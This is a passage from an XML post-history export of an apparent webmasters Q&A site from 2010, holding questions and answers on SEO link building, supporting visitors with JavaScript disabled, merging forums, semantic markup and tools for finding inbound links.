href=website&gt;keyword&amp;lt;/a&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://blogsearch.google.com/" />
  <row Id="9363" PostHistoryTypeId="1" PostId="4721" RevisionGUID="8a8e2843-30f8-4c57-9e90-3584abd73cee" CreationDate="2010-10-31T18:48:29.973" UserId="2730" Text="What tools to use for efficient link building?" />
  <row Id="9364" PostHistoryTypeId="3" PostId="4721" RevisionGUID="8a8e2843-30f8-4c57-9e90-3584abd73cee" CreationDate="2010-10-31T18:48:29.973" UserId="2730" Text="&lt;seo&gt;&lt;links&gt;" />
  <row Id="9365" PostHistoryTypeId="5" PostId="4721" RevisionGUID="63ed4b8f-ca12-4476-9ba5-03675d4fd345" CreationDate="2010-10-31T18:54:10.740" UserId="2730" Comment="added 168 characters in body" Text="As most SEO experts keep saying, it is not just the content that you have - but also a hefty amount of _quality_ incoming links to your content that is important -- these are the two ways to get to the top of the search results.&#xD;&#xA;&#xD;&#xA;The question is where do I find the incomnig links?&#xD;&#xA;&#xD;&#xA;One way I know is [Google Blog Search][1], it can be used to find blogs with related information to your content and some allow to leave comments. The comments usually consist of your name, e-mail and website. If you put your keyword instead of your name, then the keyword turns into a link to your website. Unfortunately most blogs put rel=nofollow on such links, but some blogs don't do that.&#xD;&#xA;&#xD;&#xA;What other ways are there to find quality pages to link keywords back to your website?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Quality link usually means:&#xD;&#xA;&#xD;&#xA;  - located on a page with relevant content&#xD;&#xA;  - does not have a rel=nofollow in the &amp;lt;a&gt;&#xD;&#xA;  - has a relevant keyword as in &amp;lt;a href=website&gt;keyword&amp;lt;/a&gt;&#xD;&#xA;  - the page with the link has high [PageRank][2] (3+) and [TrustRank][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://blogsearch.google.com/&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/PageRank&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/TrustRank" />
  <row Id="9366" PostHistoryTypeId="2" PostId="4722" RevisionGUID="4cffa862-7232-4584-8875-2ba5cb11dd3f" CreationDate="2010-10-31T19:06:31.663" UserId="2730" Text="In some cases, like for example Affiliate Marketing, it is required by law in the USA to disclose such information on your website.&#xD;&#xA;&#xD;&#xA;As this article on the [Washington Post][1] explains.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.washingtonpost.com/wp-dyn/content/article/2006/12/11/AR2006121101389.html" />
  <row Id="9367" PostHistoryTypeId="2" PostId="4723" RevisionGUID="8064b19e-85ae-4e8b-b6f1-94eaa5d10936" CreationDate="2010-10-31T20:12:35.123" UserId="2288" Text="Appears to be no more than 10-15% per month, is that correct? Also, along the same lines, what the max amount of outbound link a site can start out with and not be canned as spam." />
  <row Id="9368" PostHistoryTypeId="1" PostId="4723" RevisionGUID="8064b19e-85ae-4e8b-b6f1-94eaa5d10936" CreationDate="2010-10-31T20:12:35.123" UserId="2288" Text="What are natural grow rates for incoming and outgoing link?" />
  <row Id="9369" PostHistoryTypeId="3" PostId="4723" RevisionGUID="8064b19e-85ae-4e8b-b6f1-94eaa5d10936" CreationDate="2010-10-31T20:12:35.123" UserId="2288" Text="&lt;seo&gt;&lt;link&gt;" />
  <row Id="9370" PostHistoryTypeId="2" PostId="4724" RevisionGUID="3839c6d4-51dc-4d04-8db4-75a6a241b0a9" CreationDate="2010-10-31T20:26:33.280" UserId="2730" Text="Natural grow rates for incoming links?&#xD;&#xA;What do you think they are, plants?&#xD;&#xA;&#xD;&#xA;There is no such thing as &quot;natural&quot; when dealing with incoming links, if you create quality content that is considered linkable then it will be linked. If not, it wont.&#xD;&#xA;&#xD;&#xA;The &quot;nature&quot; rate of your outgoing links from your site is just as fast as you can type ... there is no such thing as X links per month.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I don't mind getting flagged, but this question is just so stupid it amazes me.&#xD;&#xA;&#xD;&#xA;Or is this deliberate flame bait?" />
  <row Id="9371" PostHistoryTypeId="2" PostId="4725" RevisionGUID="51b5bb48-5cc6-435e-b8c5-5ac335fb2a7c" CreationDate="2010-10-31T20:42:36.920" UserId="2831" Text="I have two community website each running their own forms and I would like to merge the content of both forum in to one forum. Specifically from (PHPBB 2.x) in to a SMF (1.1). Both forums have been running for years now and have built up 100k of posts each. &#xD;&#xA;&#xD;&#xA;I found a converter that converts PHPbb 2.x to SMF here &#xD;&#xA;http://download.simplemachines.org/?converters;software=phpbb&#xD;&#xA;But when I install and run this script I get the following warring&#xD;&#xA;&#xD;&#xA;*All or some of the data in your installation of SMF will be overwritten.*&#xD;&#xA;&#xD;&#xA;So what I am really looking for is a forum merge not a convert. &#xD;&#xA;&#xD;&#xA;Suggestions on how to do merge two forums databases together in to a single database.? " />
  <row Id="9372" PostHistoryTypeId="1" PostId="4725" RevisionGUID="51b5bb48-5cc6-435e-b8c5-5ac335fb2a7c" CreationDate="2010-10-31T20:42:36.920" UserId="2831" Text="Merge two existing forms together, Add PHPBB2.x posts in to an existing SMF1.1x" />
  <row Id="9373" PostHistoryTypeId="3" PostId="4725" RevisionGUID="51b5bb48-5cc6-435e-b8c5-5ac335fb2a7c" CreationDate="2010-10-31T20:42:36.920" UserId="2831" Text="&lt;php&gt;&lt;database&gt;&lt;forum&gt;" />
  <row Id="9374" PostHistoryTypeId="2" PostId="4726" RevisionGUID="34fda57e-bc06-4329-a11a-ddffaced1552" CreationDate="2010-10-31T20:43:53.737" UserId="2313" Text="[iMacros for Firefox][1] is a good and free/open source tool to help with link building:&#xD;&#xA;&#xD;&#xA;Here is a nice tutorial on that: http://www.macrorecorder.org/ (googling for that finds other sites as well)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.iopus.com/imacros/firefox/" />
  <row Id="9375" PostHistoryTypeId="2" PostId="4727" RevisionGUID="d5fd8377-fbf8-40a0-b57d-0ff2d48d1add" CreationDate="2010-10-31T20:50:49.247" UserId="2313" Text="In my opinion are the new Amazon **EC2 micro instances** the best Windows/Linux &quot;VPS&quot;: http://aws.amazon.com/about-aws/whats-new/2010/09/09/announcing-micro-instances-for-amazon-ec2/&#xD;&#xA;&#xD;&#xA;Their price is around the same as a normal VPS but you get the complete Amazon backend structure. The downside is that the EC2 system has a learning curve and AWS support is *not* free (except the forums)." />
  <row Id="9376" PostHistoryTypeId="5" PostId="4721" RevisionGUID="713d3b0a-3b6e-488a-9e43-b8c5a9becef2" CreationDate="2010-10-31T20:57:50.230" UserId="2730" Comment="emphasise the main part of the question; added 2 characters in body" Text="As most SEO experts keep saying, it is not just the content that you have - but also a hefty amount of _quality_ incoming links to your content that is important -- these are the two ways to get to the top of the search results.&#xD;&#xA;&#xD;&#xA;The question is where do I find the incomnig links?&#xD;&#xA;&#xD;&#xA;One way I know is [Google Blog Search][1], it can be used to find blogs with related information to your content and some allow to leave comments. The comments usually consist of your name, e-mail and website. If you put your keyword instead of your name, then the keyword turns into a link to your website. Unfortunately most blogs put rel=nofollow on such links, but some blogs don't do that.&#xD;&#xA;&#xD;&#xA;What other ways are there to **find quality pages to put keywords links** back to your website?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Quality link usually means:&#xD;&#xA;&#xD;&#xA;  - located on a page with relevant content&#xD;&#xA;  - does not have a rel=nofollow in the &amp;lt;a&gt;&#xD;&#xA;  - has a relevant keyword as in &amp;lt;a href=website&gt;keyword&amp;lt;/a&gt;&#xD;&#xA;  - the page with the link has high [PageRank][2] (3+) and [TrustRank][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://blogsearch.google.com/&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/PageRank&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/TrustRank" />
  <row Id="9377" PostHistoryTypeId="5" PostId="4727" RevisionGUID="a3e77bd2-9d2f-41b3-b8c1-2ac13bcd6ef2" CreationDate="2010-10-31T21:28:58.897" UserId="2313" Comment="added 12 characters in body" Text="The new Amazon **EC2 micro instances** are the best Windows/Linux &quot;VPS&quot; servers in my opinion: http://aws.amazon.com/about-aws/whats-new/2010/09/09/announcing-micro-instances-for-amazon-ec2/&#xD;&#xA;&#xD;&#xA;Their price is around the same as a normal VPS but you get the complete Amazon backend structure. The downside is that the EC2 system has a learning curve and AWS support is *not* free (except the forums).&#xD;&#xA;&#xD;&#xA;" />
  <row Id="9378" PostHistoryTypeId="4" PostId="4723" RevisionGUID="fd0ec335-56a5-4b63-8786-d2eeaaaca441" CreationDate="2010-10-31T21:29:05.327" UserId="2288" Comment="edited title" Text="What are natural growth rates for incoming and outgoing links?" />
  <row Id="9379" PostHistoryTypeId="5" PostId="4691" RevisionGUID="01133684-0503-4705-950f-8f47f7c5fcd6" CreationDate="2010-10-31T21:30:23.060" UserId="2730" Comment="added 100 characters in body" Text="USEFUL:&#xD;&#xA;&#xD;&#xA;Incoming link quality, links from high trustrank and pagerank pages with relevant content and keyword in anchor text. sans nofollow.&#xD;&#xA;&#xD;&#xA;Unique non duplicate content, especially unique title and description meta tags. And sane keyword density in text, so text is not considered spam.&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;USELESS:&#xD;&#xA;&#xD;&#xA;Position in SEM results, a myth many believe in us that appearing on AdWords affects your ranking.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/TrustRank&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/PageRank" />
  <row Id="9380" PostHistoryTypeId="5" PostId="4410" RevisionGUID="059f83e2-da99-4203-a2c6-af61d0ab4dcf" CreationDate="2010-10-31T22:33:53.287" UserId="1808" Comment="deleted 52 characters in body" Text="I have a problem with a site, in which I try to find out what is wrong. The website is kiteclub.gr. I think that following two scripts are corresponding for the high memory usage from ie and cpu:&#xD;&#xA;&#xD;&#xA;URI: [removed]&#xD;&#xA;URI: http://cdn.wibiya.com/Toolbars/dir_0024/Toolbar_24280/toolbar_24280_4c90bb56d2aa3.js&#xD;&#xA;&#xD;&#xA;If you let the website open and you do something else, after some minutes new tabs of the site opens and new windows of internet explorer!&#xD;&#xA;&#xD;&#xA;do you get error on the same scripts in IE? If yes can you copy-paste the errors? Also do you agree that this make the site to use so much memory and cpu?? Or you think there is another problem? Any advice to solve it?&#xD;&#xA;&#xD;&#xA;Thanks in advance&#xD;&#xA;" />
  <row Id="9381" PostHistoryTypeId="2" PostId="4728" RevisionGUID="309be175-6737-4b69-ab27-20d76b60ec0a" CreationDate="2010-10-31T23:20:24.750" UserId="1078" Text="If you don't mind using javascript, you can use something like ROT13 for obfuscating the email address. For example see this:&lt;br /&gt;&#xD;&#xA;http://scott.yang.id.au/2003/06/obfuscate-email-address-with-javascript-rot13/&#xD;&#xA;&#xD;&#xA;Personally, I prefer using a contact us form and not worry about the spambots, but of course it all depends on your requirements." />
  <row Id="9382" PostHistoryTypeId="2" PostId="4729" RevisionGUID="09394165-0a9a-4958-9385-723da052a84e" CreationDate="2010-10-31T23:58:29.803" UserId="2379" Text="I would look into Box.net&#xD;&#xA;They offer versioning of documents, and platforms for sharing docs.&#xD;&#xA;Of course i am refering to software files such as excel and word. &#xD;&#xA;&#xD;&#xA;If they are scanned as PDF or images box.net will handle that also.&#xD;&#xA;Take a look at them.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="9383" PostHistoryTypeId="2" PostId="4730" RevisionGUID="a9afa463-4a7b-4de3-8661-6b08aa6f9416" CreationDate="2010-11-01T00:01:09.847" UserId="2379" Text="I wouldnt worry so much as to traffic but more about building your brand and actually getting sales.   You want to focus on quality over quantity in my opinion.&#xD;&#xA;&#xD;&#xA;Depending on what you are selling look for blogs, forums and other forums where you can share your site, and even advertise.  If you are looking for &quot;Free traffic&quot; consider creating an affiliate program where you can share revenue from those marketing your products.&#xD;&#xA;&#xD;&#xA;So if you are selling cameras, you could offer the operators of a popular photography site the option to showcase your site, or specific products.  When their visitors click on the links then you could pay per lead or per actual transaction.&#xD;&#xA;&#xD;&#xA;Also, focus on high customer service and repeat business.&#xD;&#xA;" />
  <row Id="9384" PostHistoryTypeId="2" PostId="4731" RevisionGUID="640a708e-fa58-4506-ac80-f5a83f517476" CreationDate="2010-11-01T00:03:06.133" UserId="2379" Text="BuySellAds.com will probably earn you more than using google.  i would also look into affiliate programs such as commission junction and linkshare. &#xD;&#xA;&#xD;&#xA;what kind of site is it?&#xD;&#xA;" />
  <row Id="9385" PostHistoryTypeId="2" PostId="4732" RevisionGUID="092ac217-33a4-4f02-8802-e44ee64ee654" CreationDate="2010-11-01T00:25:37.553" UserId="2730" Text="With all the talk about the semantic web these days, are there any pointers of special markup to use for indexing businesses?&#xD;&#xA;&#xD;&#xA;For example a website that has an index of restaurants and a map of their location,&#xD;&#xA;&#xD;&#xA;  - How to make each restaurant name/info more semantic?&#xD;&#xA;  - How to make the geo location easier for robots to index?&#xD;&#xA;&#xD;&#xA;And what other things can make such a website more usable, semantically, to users and indexing robots?" />
  <row Id="9386" PostHistoryTypeId="1" PostId="4732" RevisionGUID="092ac217-33a4-4f02-8802-e44ee64ee654" CreationDate="2010-11-01T00:25:37.553" UserId="2730" Text="What kind of markup to use on a website to make data more semantic?" />
  <row Id="9387" PostHistoryTypeId="3" PostId="4732" RevisionGUID="092ac217-33a4-4f02-8802-e44ee64ee654" CreationDate="2010-11-01T00:25:37.553" UserId="2730" Text="&lt;semantic-web&gt;" />
  <row Id="9388" PostHistoryTypeId="5" PostId="4724" RevisionGUID="a0c11e9a-e2ac-4ef4-9bf8-9381b2a0d17e" CreationDate="2010-11-01T00:28:45.553" UserId="2730" Comment="added 6 characters in body" Text="Natural grow rates for incoming links?&#xD;&#xA;What do you think they are, plants?&#xD;&#xA;&#xD;&#xA;There is no such thing as &quot;natural&quot; when dealing with incoming links, if you create quality content that is considered linkable then it will be linked. If not, it wont.&#xD;&#xA;&#xD;&#xA;The &quot;natural rate&quot; of your outgoing links from your site is just as fast as you can type ... there is no such thing as X outgoing links per month.&#xD;&#xA;&#xD;&#xA;I don't mind getting flagged, but this question is just so stupid it amazes me.&#xD;&#xA;&#xD;&#xA;Or is this deliberate flame bait?" />
  <row Id="9389" PostHistoryTypeId="2" PostId="4733" RevisionGUID="5930587d-a671-49b9-bb12-28a30516cfbb" CreationDate="2010-11-01T00:28:59.527" UserId="2699" Text="Often when picking new tools and frameworks I see the warning &quot;Will not work if the user has disabled Javascript&quot;. I then look at my Javascript powered slideshow, Javascript powered menu, and Javascript powered gallery. Funnily enough, I chose these to replace the original flash based versions since I worried about the number of people that would see them.&#xD;&#xA;&#xD;&#xA;But is worrying about people disabling Javascript a legitimate worry? Should I try and design my site with JS being disabled in mind?" />
  <row Id="9390" PostHistoryTypeId="1" PostId="4733" RevisionGUID="5930587d-a671-49b9-bb12-28a30516cfbb" CreationDate="2010-11-01T00:28:59.527" UserId="2699" Text="Should I worry about people disabling Javascript?" />
  <row Id="9391" PostHistoryTypeId="3" PostId="4733" RevisionGUID="5930587d-a671-49b9-bb12-28a30516cfbb" CreationDate="2010-11-01T00:28:59.527" UserId="2699" Text="&lt;javascript&gt;" />
  <row Id="9392" PostHistoryTypeId="5" PostId="4724" RevisionGUID="fddb3853-8da2-4afb-ada3-cf6177de76e1" CreationDate="2010-11-01T00:34:22.550" UserId="2730" Comment="added 641 characters in body; added 48 characters in body" Text="Natural grow rates for incoming links?&#xD;&#xA;What do you think they are, plants?&#xD;&#xA;&#xD;&#xA;There is no such thing as &quot;natural&quot; when dealing with incoming links, if you create quality content that is considered linkable then it will be linked. If not, it wont.&#xD;&#xA;&#xD;&#xA;The &quot;natural rate&quot; of your outgoing links from your site is just as fast as you can type ... there is no such thing as X outgoing links per month.&#xD;&#xA;&#xD;&#xA;I don't mind getting flagged, but this question is just so stupid it amazes me.&#xD;&#xA;&#xD;&#xA;How can you even count links using percents?&#xD;&#xA;&#xD;&#xA;Or is this deliberate flame bait?&#xD;&#xA;&#xD;&#xA;Ok, now the proper answer:&#xD;&#xA;&#xD;&#xA;  - NO, it is not correct. Several viral campaigns had millions of incoming links created to them in a matter of hours/days.&#xD;&#xA;  - Infinite number of outgoing links will not be considered spam if they are placed in quality content. It is not the number of links that is considered spam, it is the quality of the content.&#xD;&#xA;&#xD;&#xA;To see a large amount of outgoing links, see wikipedia as example. If you would build a time machine and transfer wikipedia into a time it didn't exist, and it would just appear out of nowhere - then the links on it will NOT be considered spam. Because the content is of high quality." />
  <row Id="9393" PostHistoryTypeId="2" PostId="4734" RevisionGUID="c9fe2dac-ace0-4e89-a34a-863c7c4f9295" CreationDate="2010-11-01T00:40:10.737" UserId="2730" Text="Worrying is not needed, no.&#xD;&#xA;&#xD;&#xA;Having said that, making your website accessible and usable us a good idea. Usually heavy use of JavaScript and accessibility don't go hand in hand all that well.&#xD;&#xA;&#xD;&#xA;So as long as your website is still usable with JavaScript off, you are in good shape. Even if the website does not necessarily appears as great as you would wish it to look like anymore." />
  <row Id="9394" PostHistoryTypeId="5" PostId="4732" RevisionGUID="72a5b89b-79c2-47e8-94d5-df1cd36ee9ca" CreationDate="2010-11-01T00:42:44.083" UserId="2730" Comment="added 30 characters in body; edited body" Text="With all the talk about the semantic web these days, are there any pointers of special markup to use for indexing businesses?&#xD;&#xA;&#xD;&#xA;For example a website that has an index of restaurants and a map of their location,&#xD;&#xA;&#xD;&#xA;  - How to make each restaurant name/info more semantic?&#xD;&#xA;  - How to make the geo location easier to recognize for robots and accessibility devices?&#xD;&#xA;&#xD;&#xA;And what other things can make such a website more usable, semantically, to users and indexing robots?" />
  <row Id="9395" PostHistoryTypeId="5" PostId="4734" RevisionGUID="21afd70a-aeaa-46a1-8878-894f19a129f0" CreationDate="2010-11-01T00:48:17.687" UserId="2730" Comment="edited body" Text="Worrying is not needed, no.&#xD;&#xA;&#xD;&#xA;Having said that, making your website accessible and usable is a good idea. Usually heavy use of JavaScript and accessibility don't go hand in hand all that well.&#xD;&#xA;&#xD;&#xA;So as long as your website is still usable with JavaScript off, you are in good shape. Even if the website does not necessarily appears as great as you would wish it to look like anymore." />
  <row Id="9396" PostHistoryTypeId="2" PostId="4735" RevisionGUID="944dc5e3-6982-4618-b41b-e5a0979c0cad" CreationDate="2010-11-01T00:52:02.820" UserId="1757" Text="That depends on the site, its purpose, and who the demographic is.&#xD;&#xA;&#xD;&#xA;If you're designing a government website, a banking site, a corporate home page, etc, then you absolutely should make sure the site works without JavaScript. But if you're designing an entertainment/leisure site like Twitter or Facebook, then it's not so bad to require JavaScript. And if your site is a rich internet application that absolutely won't work without client-side scripting (e.g. Meebo), then it's absolutely reasonable to require JavaScript.&#xD;&#xA;&#xD;&#xA;Most features on a typical website probably shouldn't require JavaScript though. It's fine to center the user experience around clients with JavaScript enabled, but if you're running a forum, you should make sure that users can still post/read messages without JavaScript, even if it means the interface is more basic." />
  <row Id="9397" PostHistoryTypeId="2" PostId="4737" RevisionGUID="088b118b-a973-44e8-9a9e-b70589189948" CreationDate="2010-10-29T20:39:25.707" UserDisplayName="Ben Gribaudo" Text="You can get some information on inbound links by logging into [Google Webmaster tools][1] and choosing &quot;Your site on the web&quot; &gt; &quot;Links to your site&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/webmasters/" />
  <row Id="9398" PostHistoryTypeId="2" PostId="4738" RevisionGUID="7dcbe7a4-2ef7-4113-8ffa-dfe33a43cb85" CreationDate="2010-10-31T22:38:36.503" UserDisplayName="koko" Text="thanks a lot. &#xD;&#xA;&#xD;&#xA;Can I use also with google.com link:www.mysite.com ?&#xD;&#xA;&#xD;&#xA;What is the different between Link:www.mysite.com and url:mysite.com  ?&#xD;&#xA;&#xD;&#xA;regards,&#xD;&#xA;koko" />
  <row Id="9399" PostHistoryTypeId="2" PostId="4736" RevisionGUID="a3495417-b4d8-436b-a7b0-92a2dfbf5361" CreationDate="2010-10-29T20:31:24.027" UserDisplayName="koko" Text="Can I know how many websites/Blogs are linking to my website? Is there any free tools? Can I use with google.com too?&#xD;&#xA;&#xD;&#xA;many thanks in advance,&#xD;&#xA;&#xD;&#xA;koko" />
  <row Id="9400" PostHistoryTypeId="1" PostId="4736" RevisionGUID="a3495417-b4d8-436b-a7b0-92a2dfbf5361" CreationDate="2010-10-29T20:31:24.027" UserDisplayName="koko" Text="How Can I Check and know how many websites/blogs are linking to my website.? " />
  <row Id="9401" PostHistoryTypeId="3" PostId="4736" RevisionGUID="a3495417-b4d8-436b-a7b0-92a2dfbf5361" CreationDate="2010-10-29T20:31:24.027" UserDisplayName="koko" Text="&lt;links&gt;" />
  <row Id="9402" PostHistoryTypeId="17" PostId="4736" RevisionGUID="777f2a49-7f79-48b4-8599-d0830a3feb76" CreationDate="2010-11-01T01:17:25.820" UserId="-1" Comment="from http://stackoverflow.com/questions/4055661/how-can-i-check-and-know-how-many-websites-blogs-are-linking-to-my-website" Text="" />
  <row Id="9403" PostHistoryTypeId="2" PostId="4739" RevisionGUID="d30c7b5b-7cd7-423b-ad85-f47f095b5cec" CreationDate="2010-11-01T01:35:01.840" UserId="1253" Text="I'm surprised no one mentioned [progressive enhancement][1]. There's rarely a good reason to have functionality or content that requires JavaScript to work. Yes, JavaScript can make the user experience *better*, but it should be required to make the user experience *possible*.&#xD;&#xA;&#xD;&#xA;So my answer is, you should build your website so everyone can access everything, even without JavaScript (assuming publicly available content. Site admins, intranets, etc, would be obvious exceptions as you can realistically dictate browser requirements in those situations).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Progressive_enhancement" />
  <row Id="9404" PostHistoryTypeId="2" PostId="4740" RevisionGUID="de9c858a-1d89-4c71-ba19-ed776304dd1e" CreationDate="2010-11-01T01:40:56.150" UserId="1253" Text="[Microformats][1] is exactly what you're looking for.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Microformat" />
  <row Id="9405" PostHistoryTypeId="2" PostId="4741" RevisionGUID="a868d2d7-889b-4baf-b2ee-64061b8eebb1" CreationDate="2010-11-01T01:50:44.577" UserId="2730" Text="A common tool used for this is Yahoo Site Explorer, almost all the tools that will give you this information use it's API.&#xD;&#xA;&#xD;&#xA;One such tool is Spyglass SEO for example, free to try, download from CNET." />
  <row Id="9406" PostHistoryTypeId="2" PostId="4742" RevisionGUID="766254b9-1d38-477f-b7ca-df74cd0e3d2c" CreationDate="2010-11-01T01:56:44.633" UserId="2730" Text="Delicious, being a site with PR8, is a good place to get links from. Unfortunately for you, they use nofollow on the submitted links. There was some mention of nofollow being dropped if enough people share the link, but that was last year and I don't think it is true anymore.&#xD;&#xA;&#xD;&#xA;A common misconception is that Google will not crawl through nofollow links, it is just not true. The link might have no power to transfer PR, but the bot will still check it out.&#xD;&#xA;&#xD;&#xA;So this is accepted as a good way to bootstrap new content on your website, especially if your website is being visited by the google bot rarely... Placing a link on delicious can make your content get indexed faster, since the bot is crawling delicious much more often than your website (because of their high PR)." />
  <row Id="9407" PostHistoryTypeId="2" PostId="4743" RevisionGUID="a731dba3-cb52-4be7-8579-b8e6d69deca4" CreationDate="2010-11-01T02:12:17.810" UserId="2730" Text="Wordtracker.com has a reputation of being a good keyword research tool." />
  <row Id="9408" PostHistoryTypeId="5" PostId="4739" RevisionGUID="99870901-9fc1-4224-b01a-90669e93fe85" CreationDate="2010-11-01T02:45:28.920" UserId="1253" Comment="added 3 characters in body" Text="I'm surprised no one mentioned [progressive enhancement][1]. There's rarely a good reason to have functionality or content that requires JavaScript to work. Yes, JavaScript can make the user experience *better*, but it shouldn't be required to make the user experience *possible*.&#xD;&#xA;&#xD;&#xA;So my answer is, you should build your website so everyone can access everything, even without JavaScript (assuming publicly available content. Site admins, intranets, etc, would be obvious exceptions as you can realistically dictate browser requirements in those situations).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Progressive_enhancement" />
  <row Id="9409" PostHistoryTypeId="2" PostId="4744" RevisionGUID="a0c118b7-36d4-4e08-80bb-7076929159ab" CreationDate="2010-11-01T04:07:17.197" UserId="1279" Text="I've set up a Google Docs Form / Spreadsheet. Why flood my inbox when I can check form entries once a day." />
  <row Id="9410" PostHistoryTypeId="2" PostId="4745" RevisionGUID="4bdf9d31-c12a-4fee-9977-0e4dbcbfa99f" CreationDate="2010-11-01T05:49:26.217" UserDisplayName="Sneha" Text="in Google adsense, if a user from any territory revisits page impression is getting updated but that eCPM is not getting updated its showing zero only, does it work only for unique visitors?&#xD;&#xA;&#xD;&#xA;Thanks Sneha" />
  <row Id="9411" PostHistoryTypeId="1" PostId="4745" RevisionGUID="4bdf9d31-c12a-4fee-9977-0e4dbcbfa99f" CreationDate="2010-11-01T05:49:26.217" UserDisplayName="Sneha" Text="Does page impression gets counted for unquie visits" />
  <row Id="9412" PostHistoryTypeId="3" PostId="4745" RevisionGUID="4bdf9d31-c12a-4fee-9977-0e4dbcbfa99f" CreationDate="2010-11-01T05:49:26.217" UserDisplayName="Sneha" Text="&lt;google&gt;&lt;google-analytics&gt;&lt;adsense&gt;&lt;google-adsense&gt;" />
  <row Id="9413" PostHistoryTypeId="2" PostId="4746" RevisionGUID="42244023-03cf-4f1a-bc9d-b4f09c0135be" CreationDate="2010-11-01T06:03:20.440" UserId="1078" Text="Even if your HTML works on all major browsers, it's still worth doing as it sometimes can cause problems with search engine crawlers like googlebot. For example see this:&#xD;&#xA;&#xD;&#xA;http://www.codeproject.com/KB/server-management/Google_Indexing_Problem.aspx" />
  <row Id="9414" PostHistoryTypeId="2" PostId="4747" RevisionGUID="03e14e75-7271-4449-8afb-ee38c18378f7" CreationDate="2010-11-01T06:38:01.167" UserId="2379" Text="Facebook will not work without javascript.  From what i have learned is that most people that dont have javascript are probably not going to subscribe to your product.  We use javascript to enhance a user's experience, but dont make it a requirement.  &#xD;&#xA;&#xD;&#xA;So.  Your site should work without javascript, but it doesnt have to look good.&#xD;&#xA;Chances are if someone is visiting your site without JS turned on they are a BOT, a Hacker, a 99 year old, or a weirdo on a dial up connection trying to speed things up. &#xD;&#xA;&#xD;&#xA;If you offer a commercial product, sas, or cloud app dont even worry about this small percentage of users.  Its not worth the development time, and again they will probably never subscribe to your service.&#xD;&#xA;&#xD;&#xA;If you are using javascript to store shopping cart items in an e-commerce store, then i would look at the architecture and make sure that you offer a non js fucntionality. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="9415" PostHistoryTypeId="2" PostId="4748" RevisionGUID="8cf5204d-7b69-41c0-bcb8-5292d7c20dd8" CreationDate="2010-11-01T10:25:34.107" UserId="2489" Text="i register domain with godaddy and i use addon privacy protect by domainsbyproxy but still show dns server when whois? how to make its to private?" />
  <row Id="9416" PostHistoryTypeId="1" PostId="4748" RevisionGUID="8cf5204d-7b69-41c0-bcb8-5292d7c20dd8" CreationDate="2010-11-01T10:25:34.107" UserId="2489" Text="How to hide dns when someone whois me by use domainsbyproxy?" />
  <row Id="9417" PostHistoryTypeId="3" PostId="4748" RevisionGUID="8cf5204d-7b69-41c0-bcb8-5292d7c20dd8" CreationDate="2010-11-01T10:25:34.107" UserId="2489" Text="&lt;privacy-policy&gt;" />
  <row Id="9421" PostHistoryTypeId="2" PostId="4750" RevisionGUID="6cc1f532-b771-4f57-afeb-7f283455f183" CreationDate="2010-11-01T11:07:26.250" UserId="2650" Text="&#xD;&#xA;&#xD;&#xA;I'm trying to build a self-listing website around a taxi service domain name that I have.&#xD;&#xA;&#xD;&#xA;I am looking for a simple script / program that allows users to register, put up details about their taxi service - where they operate, what their contact numbers are, etc.&#xD;&#xA;&#xD;&#xA;I'm not looking for a sophisticated program - bares bones is perfect." />
  <row Id="9422" PostHistoryTypeId="1" PostId="4750" RevisionGUID="6cc1f532-b771-4f57-afeb-7f283455f183" CreationDate="2010-11-01T11:07:26.250" UserId="2650" Text="Website for a directory listing of taxi services?" />
  <row Id="9423" PostHistoryTypeId="3" PostId="4750" RevisionGUID="6cc1f532-b771-4f57-afeb-7f283455f183" CreationDate="2010-11-01T11:07:26.250" UserId="2650" Text="&lt;web-development&gt;&lt;template&gt;" />
  <row Id="9424" PostHistoryTypeId="5" PostId="4743" RevisionGUID="8ae70b4d-f164-4de1-b3df-4fbbc6f2f3cd" CreationDate="2010-11-01T11:10:35.973" UserId="2730" Comment="added 44 characters in body" Text="[Wordtracker.com][1] has a reputation of being a good keyword research tool.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.wordtracker.com" />
  <row Id="9425" PostHistoryTypeId="2" PostId="4751" RevisionGUID="7b123fe3-0dcb-4acf-9c44-0449956e9ebe" CreationDate="2010-11-01T11:20:19.627" UserId="2730" Text="You might find a wiki useful, there are plenty of those available and most are simple enough. See [wikimatrix.org][1] for a comparison of wikis to find the ones with proper permissions support.&#xD;&#xA;&#xD;&#xA;Or you can use a blog, like [wordpress.org][2], that will allow people to leave comments with their details after registering.&#xD;&#xA;&#xD;&#xA;Or you can hire a programmer for 2 hours of work and get the very basic thing you are talking about.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.wikimatrix.org/&#xD;&#xA;  [2]: http://www.wordpress.org" />
